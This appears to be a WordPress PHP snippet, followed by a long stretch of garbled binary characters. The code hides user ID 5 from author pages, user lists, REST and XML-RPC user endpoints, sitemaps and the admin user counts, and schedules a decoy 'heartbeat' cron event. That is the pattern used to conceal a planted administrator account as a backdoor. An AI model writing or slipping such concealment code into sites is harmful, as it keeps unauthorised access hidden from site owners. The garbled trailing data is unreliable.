add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 5; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 5 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 5; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 5; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ՝Or6;@LuD$f x2 e@[\um缷=eb#%=;:y7͌dTdn]W৫nX.Wa_/՟qt^wn3uW竿{xZy]տ;.si0ޯ7nZ]{|6Wn~_~u^?~zr+_M&3sOnvWvﻛ߷?]}twa{7b<|y,֫]<=|_7r5Yɶ[Of?;~yCj ܾ[oo7~O_׿aGo_x,כW2~y;gtn/7G?ſ7: gW> {秱b_}/?ޮ/|lya'q7}!* q%#nt%7LNC4sIp.;&8 7)ilm1YNp|jntML=8}&w\0< D} 9iYF39iJNZփ1HʹnBo XxN"z|'d/ܤ*nnR)Fr{=Oq# *06z0a) q>ISF'*n'lZqC$J yʮLJ\#&&҃O;Q%dud >o λyOHJ{ލØ4vU8;VM~Sر=wycl#%<o=w4vcԏO+쓆4'@NڱzU',*l-F'Lh%'MP''=?.>{^!Uh#y >(` }AymwsTI)蓈m@P*҃VV쪘M̚Tx`#@9^Em|:nX78*`sGH➏lxz5ő7QG&nvݗ l87E&'9Tw8Kq/]8 $ 8(6qj8Hy`DG"H! ^C <|TȚ'pķVwO[اg_J@$gMnЁWwd*NsU9VZ.- a\&84J^H&^gzB]?=ʪ ,gczDqaف 4hk8k,ngot!NϷO V)X.M VNT=pJ%EzLK&;v}4w.MGԀGg&y0ǨR_5.+Xy5TW2eyn^2ht K{#/*>t'\qt9+p$Aq:p/U$ч ñκ.hȁ z?:D)>(!: hf"شbbቶ U(T zM(`FMpU4 Z%ݜ@Z%inN#BǍ bY:M"2ܬ ɕP\@,%ށىcȡ1Y{.8fU=8͕tW>JzhЭ!X.Υmlr} WGIQI~k|N̐b9QV, C]*]i HfV0vu*8@VnN1r3' nN5ǖzUI2D<3)5!y*Q!p*J˱CnbȚJ^'u2Ӝ#%xr׀:*v [ju}HW8Wc)d\M89p;uG~jRI7\V8co8*Fqy.׀sx~9dzوViF=BE<<*Y14Pffm#d+༦ *ۈg9ԎOZMx"J.?NEJ;^@zp #FnZ9fB/O (멨B\ m\:qhdJՉKy lET#(#dXɸ 2iRcMˈQP8daNgT=0w2(9 NܨyVQ4/4/k8o{R̴ *l,=8Y+,R BxNuZpn288I}Ԕ6 _?i*e;ىcԬ!pz3b258$*&sc3zpqMFBġ5SP9蔸ѤQx=XE 7'JE[~h?84JEZȏ8I;8QY'V'P1FڐhCcx9<#K8F?2 *plJ#S_%T['C,"܏4' r_n8S[6kCPل {|-\*~țS)e<ʕ?R!BV[0{E ֌yj[Q<=zzpу`?.҃CȊ,~8ڬUsw¬)nxpUbpa|pv8<*xbG dݜ-"iu 8]KDDrW#o>y0UX#Wy?$W$$LΜVqlLE܀iP63r&21cTdrYbFJȑ)bsO81&9.y /JdooɣeGUH?u-fCi!υsfoh >67#E,O䎵6wPhxA({N,ìIYm=9WaKb*d.E<9o͢LY`r6"ͥЊB~j[`erźhEՙsʼn5UɱQn9EZ8뇗$䅆oroUJrǹ\E>da hY\r2X]Z(=[zIa2y(ณy'/'#&/}$!ųzr/wXEOU-%+U"Ւ#zr ѐ2U\:ރ֓' 9h|9mBVw(sq|Oexh'66sЁIΩySYq+p6$?٧_>3ZE^pVVns+*jvKVbYeA9iOK%= Yw}6*)Ғ7{o"'Qn- WCRZyMO]RH{rbe]ۓ಺O~ֺ9DCWZ[s+3W!7&"47Q0lKO'zC5oh ؒouɛ?ܷSzr=COUZW$K9'kQ) Wͼso.Ȳgɥ{CЪC96Ȯ|zˁEf2YP'mp1ymq'oX+yss78R*<򊅞KwɽKŎ-*rqEȺ3Z\Q-dU1A\H!o0#5 r(v /^rV&O-> ;uOG,#?l1)E/8ܓS ܹ5~da+˹5\"3|lёx! Y Y+7pRw^z9[,+s%Qc}8dB># Uy܈ !vQ99*mde0\ȥ 7X`EpzÕ!UC щb/ΊD[ y̡| xx]Byc|Mq,.=xV[ Vͨɦp_uηQ<j $XU|7!7eS#ErUv2wlPVN[*ڛONPqqUh !qHpb}.C`#$IJpDFpe/|0*<-:xrd0Ș`/Y%uؒ9_NO==aI1ctIvs**{*`WكcyqU1C*r1 GhWghm *$3`3k9 5e=[#ODgq7:TWN=oXTY%rm7+AI˸5-dp 8wGg6E9:Orep dG/#xk d#L&WwA n26X6apR%pZ[T$qNg^L{(T~i? S1sT`OBS[Vw=}}.eV2.Ww{9קnspL|KhGYAY7p5C%pm^s?s1o*g< iEADI3 9=뼛vf1O3/\v2e?p޻CLįM9htrMr{ ~ >23P^VRprI-o!mL) bv.+Xn\Ď[ oHwXTT.–BdN7w,0,-",f.o0A26ILv4˳9SX$hhe[wc)~!O/!* 9}kdb&˳5g[-}H'}gzo ogu"i^3uEog-"<;7ûy᫭Vq`ll5L?5ǾE,Z≝*oL%@72O~.J6'wJ623uJ?֛O}{Ĭ7|nxXVYm Jgc|UY.&,Փi[RrDtԧ_^ųA08 }=l+CDvY?=u~Cjr|3pX"L^>VpbFX1p*jxH`sRw'wl?fjחnnc/<І~|GW Hjj_ oQffҿy\~?n7[|xVߖԚ`HlfHQ:x7\K;WL:$w_ooͧfk8{xc'̞6Ňf}94G'x1@<Ζ E?=_nrQ_֞^oE0-fHbF2>9 {x+mwn&-ۏ}>.?n72b ˇ~s Gb~T[]W.!<VZL^ze.Iknf5o)v_!|1